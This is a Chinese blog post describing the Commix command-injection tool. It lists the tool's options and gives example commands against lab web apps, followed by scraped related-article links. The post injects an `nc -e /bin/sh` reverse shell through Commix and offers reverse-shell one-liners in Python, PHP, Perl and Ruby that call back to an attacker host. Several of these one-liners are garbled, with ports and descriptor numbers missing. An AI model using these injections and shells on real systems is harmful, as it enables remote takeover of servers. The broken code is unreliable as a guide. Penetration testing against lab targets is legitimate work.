介绍

  项目地址:https://github.com/stasinopoulos/commix

  Commix是一个使用Python开发的漏洞测试工具,这个工具是为了方便的检测一个请求是否存在命令注入漏洞,并且对其进行测试,在其作者发布的最新版本中支持直接直接导入burp的历史记录进行检测,大大提高了易用性。

使用

选项:
    -v           VERBOSE详细程度级别(-,默认值:)。
    --version       显示版本号并退出。
    --output-dir=..   设置自定义输出目录路径。
    -s SESSION_FILE   从存储(.sqlite)文件加载会话。
    --flush-session   刷新当前目标的会话文件。
    --ignore-session  忽略存储在会话文件中的结果。   目标:
    -u URL,--url = URL  目标URL。
    --url-reload      在命令执行后重新加载目标URL。
    -l LOGFILE       解析来自HTTP代理日志文件的目标和数据。
    --crawl = CRAWLDEPTH 从目标网址开始抓取网站(-,默认值:)。   请求:
    --data=DATA      要通过POST发送的数据字符串。
    --host=HOST       HTTP主机头。
    --referer=REFERER   HTTP Referer标头。
    --user-agent=AGENT  HTTP用户代理头。
    --random-agent    使用随机选择的HTTP User-Agent头。
    --param-del=PDEL   设置分割参数值的字符。
    --cookie=COOKIE    HTTP Cookie头。
    --cookie-del=CDEL   设置分割cookie值的字符。
    --headers=HEADERS  额外标头(例如「Header1:Value1 \ nHeader2:Value2」)。
    --proxy=PROXY     使用HTTP代理(例如“127.0.0.1:”)。
    --tor          使用Tor网络。
    --tor-port=...    设置Tor代理端口(默认值:)。
    --auth-url=...    登录面板URL。
    --auth-data =AUTH   登录参数和数据。
    --auth-type =AUTH   HTTP认证类型(例如“基本”或“摘要”)。
    --auth-cred =AUTH   HTTP身份验证凭据(例如“admin:admin”)。
    --ignore-401      忽略HTTP错误401(未授权)。
    --force-ssl      强制使用SSL / HTTPS。   枚举:
    这些选项可用于枚举目标主机。
    --all            检索一切。
    --current-user       检索当前用户名。
    --hostname         检索当前主机名。
    --is-root          检查当前用户是否具有root权限。
    --is-admin         检查当前用户是否具有管理员权限。
    --sys-info         检索系统信息。
    --users           检索系统用户。
    --passwords         检索系统用户密码散列。
    --privileges        检索系统用户权限。
    --ps-version        检索PowerShell的版本号。   文件访问:
    这些选项可用于访问目标主机上的文件。
    --file-read = FILE ..  从目标主机读取文件。
    --file-write = FIL ..  写入目标主机上的文件。
    --file-upload = FI ..  在目标主机上上传文件。
    --file-dest = FILE ..  写入和/或上传到的主机的绝对文件路径。   模块:
    这些选项可用于增加检测和/或注射能力。
    --icmp-exfil = IP_ ..'ICMP exfiltration'注入模块。 (例如'ip_src = 192.168.178.1,ip_dst = 192.168.178.3')。
    --dns-server = DNS ..“DNS exfiltration”注入模块。  (用于DNS筛选攻击的域名)。
    --shellshock“炮弹”注射模块。
  注射:
    这些选项可用于指定要插入和输入的参数,提供定制注入有效负载。
    -p TEST_PARAMETER    可测试参数。
    --suffix = SUFFIX    注入有效负载后缀字符串。
    --prefix = PREFIX    注入有效负载前缀字符串。
    --technique = TECH   指定要使用的进样技术。
    --maxlen = MAXLEN    设置与时间相关的最大输出长度,注射技术(默认:10000字符)。
    --delay = DELAY     设置与时间相关的注入的自定义时间延迟术(默认:1秒)。
    --tmp-path = TMP_P .. 设置Web服务器的临时目录的绝对路径。
    --root-dir = SRV_R .. 设置Web服务器根目录的绝对路径。
    --alter-shell = AL .. 使用另一个os-shell(例如'Python')。
    --os-cmd = OS_CMD    执行单个操作系统命令。
    --os = OS        将后端操作系统强制为此值。
    --tamper = TAMPER   使用给定脚本篡改注射数据。   检测:
    这些选项可用于自定义检测阶段。     --level = LEVEL  要执行的测试级别(-,默认值:)。
    --skip-calc    在检测期间跳过数学计算
    --dependencies  检查第三方(非内核)依赖关系。
    --skip-waf    绕过启发式检测WAF / IPS / IDS保护。

使用举例

python commix.py –url="http://192.168.1.4/test/test.php?addr=INJECT_HERE” --os-cmd="nc -e /bin/sh 192.168.1.3 1234″

Freebuf给出的一些用法(http://www.freebuf.com/sectool/64030.html)

测试漏洞web应用Damn

python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=INJECT_HERE&submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"

使用注入攻击Payload参数测试php-Charts 1.0

python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=INJECT_HERE" --prefix="//" --suffix="'"

使用特殊的头和HTTP代理测试OWASP Mutillidae

python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php" --data="target_host=INJECT_HERE" --headers="Accept-Language:fr\nETag:123\n" --proxy="127.0.0.1:8081"

使用ICMP渗漏(exfiltration)技术测试Persistence

su -c "python commix.py --url="http://192.168.178.8/debug.php" --data="addr=127.0.0.1" --icmp-exfil="ip_src=192.168.178.5,ip_dst=192.168.178.8""

配合一些反弹shell

. Python-reverse-shell:
  python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”192.168.1.3\”,));os.dup2(s.fileno(),); os.dup2(s.fileno(),); os.dup2(s.fileno(),);p=subprocess.call([\”/bin/sh\”,\”-i\”]);’
. PHP-reverse-shell:
  php -r ‘\$sock=fsockopen(\”192.168.1.3\”,);exec(\”/bin/sh -i <% >% >%\”);’
. Perl-reverse-shell:
  perl -e ‘use Socket;\$i=\”192.168.1.3\”;\$p=;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\”tcp\”));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\”>%26S\”);open(STDOUT,\”>%26S\”);open(STDERR,\”>%26S\”);exec(\”/bin/sh -i\”);};’
. Ruby-reverse-shell:
  ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(\”192.168.1.3\”,);while(cmd=c.gets);IO.popen(cmd,\”r\”){|io|c.print io.read}end’

Commix命令注入漏洞利用的更多相关文章

  1. DVWA各等级命令注入漏洞

    漏洞描述 在web程序中,因为业务功能需求要通过web前端传递参数到后台服务器上执行,由于开发人员没有对输入进行严格过滤,导致攻击者可以构造一些额外的"带有非法目的的"命令,欺骗后 ...

  2. ThinkPHP5.0.21&5.1.* 代码执行和命令执行漏洞利用

    ThinkPHP5.0.21&5.1.* 代码执行和命令执行漏洞利用 ThinkPHP5.0.21&5.1.*  exploit code execution and command ...

  3. commix 命令注入工具

    关于系统命令注入,可以参考这篇文章:命令攻击介绍 系统命令注入场景 在对企业进行安全测试时候,很少会发现系统注入漏洞.这是因为大部分情况下代码业务主要是数据操作.文件操作.逻辑处理和api接口调用等, ...

  4. CVE-2020-15778 OpenSSH命令注入漏洞复现

    一.漏洞概要 OpenSSH 8.3p1及之前版本中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令.目前绝大多数linux系统受影响. 参考链接:https://githu ...

  5. DedeCMS全版本通杀SQL注入漏洞利用代码及工具

    dedecms即织梦(PHP开源网站内容管理系统).织梦内容管理系统(DedeCms) 以简单.实用.开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,近日,网友 ...

  6. Drupal 7.31 SQL注入漏洞利用具体解释及EXP

     有意迟几天放出来这篇文章以及程序,只是看样子Drupal的这个洞没有引起多少重视,所以我也没有必要按着不发了,只是说实话这个洞威力挺大的.当然.这也是Drupal本身没有意料到的. 0x00 首 ...

  7. DedeCMS全版本通杀SQL注入漏洞利用代码

    EXP: Exp:plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\'   or mid=@`\'` /*!50000u ...

  8. CVE-2017-17215 - 华为HG532命令注入漏洞分析

    前言 前面几天国外有个公司发布了该漏洞的详情.入手的二手 hg532 到货了,分析测试一下. 固件地址:https://ia601506.us.archive.org/22/items/RouterH ...

  9. ThinkPHP 5.1.x远程命令执行漏洞利用, 参考POC

    thinkphp5.1.1为例 1.代码执行: http://192.168.0.108/public//index.php?s=index/\think\Request/input&filt ...

随机推荐

  1. Bootstrap实现弹出框和提示框效果代码

    一.Bootstrap弹出框使用过JQuery UI应该知道,它里面有一个dialog的弹出框组件,功能也很丰富.与jQuery UI的dialog类似,Bootstrap里面也内置了弹出框组件.打开 ...

  2. Theos 工程make package时报错

    错误: /Applications/Xcode.app/Contents/Developer/usr/bin/make package requires you to have a layout/ d ...

  3. ajax加php实现简单的投票效果

    废话少说,作为一个前端猿,首先上前端的代码. 1.上html代码: <!DOCTYPE html> <html> <head lang="en"> ...

  4. MyBatis 学习-与 Spring 集成篇

    根据官方的说法,在 ibatis3,也就是 Mybatis3 问世之前,Spring3 的开发工作就已经完成了,所以 Spring3 中还是没有对 Mybatis3 的支持.因此由 Mybatis 社 ...

  5. MYSQL的一些函数

    原文地址:http://blog.sina.com.cn/s/blog_52d20fbf0100ofd5.html 1,字符串类的函数 CHARSET(str) //返回字串字符集CONCAT (st ...

  6. eclipse 安卓运行一直跳转到调试模式

    最直接的办法,换手机试试,如果在其他手机上能run,那就重启手机即可 感觉写这么一点点似乎不足以发表一篇博客,给个链接吧:http://www.itnose.net/detail/6103213.ht ...

  7. [Q]AdobePDF虚拟打印机自动保存PDF

    使用打图精灵打印时,选择“Adobe PDF”虚拟打印机打印(注意不选择“打印到文件”),每张图纸都会弹出一个保存对话框,如何避免? 从 操作系统->控制面板->硬件和声音->设备和 ...

  8. 使用Image.GetThumbnailImage 方法返回缩略图

    如果 Image 包含一个嵌入式缩略图像,则此方法会检索嵌入式缩略图,并将其缩放为所需大小. 如果 Image 不包含嵌入式缩略图像,此方法会通过缩放主图像创建一个缩略图像. 请求的缩略图像大小为 1 ...

  9. 导入libxml.dylib用Google的GDataXML解析XML数据

    1.用Google的GDataXML来解析XML数据,导入libxml.dylib 2.导入libxml.dylib的操作实现,一开始自己总是找不到libxml.dylib文件. 选择其他文件,到路径 ...

  10. 从安装.net Core 到helloWord(Mac上)

    最近听说微软 正式发不了.netCore 1.0 于是就安装了 并安装了vs Code 用于编写一些.net程序 一. .netCore的安装: 首先需要通过brew安装openssl(相信homeB ...